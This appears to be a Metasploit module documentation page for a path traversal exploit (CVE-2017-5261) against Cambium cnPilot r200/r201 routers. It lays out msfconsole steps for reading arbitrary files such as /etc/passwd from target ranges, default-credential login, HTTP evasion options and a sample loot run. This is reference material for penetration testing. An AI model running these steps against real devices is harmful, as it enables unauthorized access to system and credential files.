Cambium cnPilot r200/r201 File Path Traversal - Metasploit
This page contains detailed information about how to use the auxiliary/admin/http/cnpilot_r_fpt metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Cambium cnPilot r200/r201 File Path Traversal
Module: auxiliary/admin/http/cnpilot_r_fpt
Source code: modules/auxiliary/admin/http/cnpilot_r_fpt.rb
Disclosure date: -
Last modification time: 2019-08-15 18:10:44 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-5261
This module exploits a File Path Traversal vulnerability in Cambium cnPilot r200/r201 to read arbitrary files off the file system. Affected versions - 4.3.3-R4 and prior.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/admin/http/cnpilot_r_fpt
msf auxiliary(cnpilot_r_fpt) > show options
... show and set options ...
msf auxiliary(cnpilot_r_fpt) > set RHOSTS ip-range
msf auxiliary(cnpilot_r_fpt) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(cnpilot_r_fpt) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(cnpilot_r_fpt) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(cnpilot_r_fpt) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits a File Path Traversal vulnerability in Cambium cnPilot r200/r201 devices to read arbitrary files off the file system. Affected versions - 4.3.3-R4 and prior.
Verification Steps
- Do:
use auxiliary/scanner/http/cnpilot_r_fpt
- Do:
set RHOSTS [IP]
- Do:
set RPORT [PORT]
- Do:
set FILENAME [filename]
- Do:
run
Scenarios
msf > use auxiliary/scanner/http/cnpilot_r_fpt
msf auxiliary(cnpilot_r_fpt) > set RHOSTS 1.3.3.7
msf auxiliary(cnpilot_r_fpt) > set RPORT 80
msf auxiliary(cnpilot_r_fpt) > set FILENAME /etc/hosts
msf auxiliary(cnpilot_r_fpt) > run
[+] 1.3.3.7:80 - Cambium cnPilot confirmed...
[*] 1.3.3.7:80 - Attempting to login...
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "user":"user"
[*] 1.3.3.7:80 - Accessing the file...
[+] 127.0.0.1 localhost.localdomain localhost
[+] File saved in: /root/.msf4/loot/20000000000003_default_1.3.3.7_fptlog_12345.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
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Msfconsole Usage
Here is how the admin/http/cnpilot_r_fpt auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/http/cnpilot_r_fpt
msf6 auxiliary(admin/http/cnpilot_r_fpt) > show info
Name: Cambium cnPilot r200/r201 File Path Traversal
Module: auxiliary/admin/http/cnpilot_r_fpt
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Karn Ganeshen <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME /etc/passwd yes Filename to read
PASSWORD admin no A specific password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 10 yes HTTP connection timeout
USERNAME admin no A specific username to authenticate as
VERBOSE true yes Whether to print output for all attempts
VHOST no HTTP server virtual host
Description:
This module exploits a File Path Traversal vulnerability in Cambium
cnPilot r200/r201 to read arbitrary files off the file system.
Affected versions - 4.3.3-R4 and prior.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-5261
https://blog.rapid7.com/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities
Module Options
This is a complete list of options available in the admin/http/cnpilot_r_fpt auxiliary module:
msf6 auxiliary(admin/http/cnpilot_r_fpt) > show options
Module options (auxiliary/admin/http/cnpilot_r_fpt):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME /etc/passwd yes Filename to read
PASSWORD admin no A specific password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 10 yes HTTP connection timeout
USERNAME admin no A specific username to authenticate as
VERBOSE true yes Whether to print output for all attempts
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the admin/http/cnpilot_r_fpt auxiliary module:
msf6 auxiliary(admin/http/cnpilot_r_fpt) > show advanced
Module advanced options (auxiliary/admin/http/cnpilot_r_fpt):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
MaxGuessesPerService 0 no Maximum number of credentials to try per service instance. If set to zero or a non-number, this option will not be used.
MaxGuessesPerUser 0 no Maximum guesses for a particular username for the service instance. Note that users are considered unique among different services, so a user at 10.1.1.1:22
is different from one at 10.2.2.2:22, and both will be tried up to the MaxGuessesPerUser limit. If set to zero or a non-number, this option will not be use
d.
MaxMinutesPerService 0 no Maximum time in minutes to bruteforce the service instance. If set to zero or a non-number, this option will not be used.
PASSWORD_SPRAY false yes Reverse the credential pairing order. For each password, attempt every possible user.
REMOVE_PASS_FILE false yes Automatically delete the PASS_FILE on module completion
REMOVE_USERPASS_FILE false yes Automatically delete the USERPASS_FILE on module completion
REMOVE_USER_FILE false yes Automatically delete the USER_FILE on module completion
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
TRANSITION_DELAY 0 no Amount of time (in minutes) to delay before transitioning to the next user in the array (or password when PASSWORD_SPRAY=true)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/http/cnpilot_r_fpt module can do:
msf6 auxiliary(admin/http/cnpilot_r_fpt) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/http/cnpilot_r_fpt auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/http/cnpilot_r_fpt) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
File not found.
Here is a relevant code snippet related to the "File not found." error message:
69:
70: if res && res.code == 200
71: results = res.body
72:
73: if results.size.zero?
74: print_status('File not found.')
75: else
76: print_good("#{results}")
77:
78: # w00t we got l00t
79: loot_name = 'fpt-log'
<RHOST>:<RPORT> - Could not read file. You can manually check by accessing <FINAL_URL>.
Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Could not read file. You can manually check by accessing <FINAL_URL>." error message:
82: data = "#{results}"
83: p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc)
84: print_good("File saved in: #{p}")
85: end
86: else
87: print_error("#{rhost}:#{rport} - Could not read file. You can manually check by accessing #{final_url}.")
88: return
89: end
90: end
91:
92: #
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Related Pull Requests
- #12205 Merged Pull Request: Update module and generate splats from http:// to https://
- #9316 Merged Pull Request: Cambium modules
References
- CVE-2017-5261
- https://blog.rapid7.com/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities
See Also
Check also the following modules related to this module:
- auxiliary/admin/http/cnpilot_r_cmd_exec
- auxiliary/scanner/http/cnpilot_r_web_login_loot
- auxiliary/scanner/snmp/cnpilot_r_snmp_loot
- payload/r/shell_bind_tcp
- payload/r/shell_reverse_tcp
Authors
- Karn Ganeshen <KarnGaneshen[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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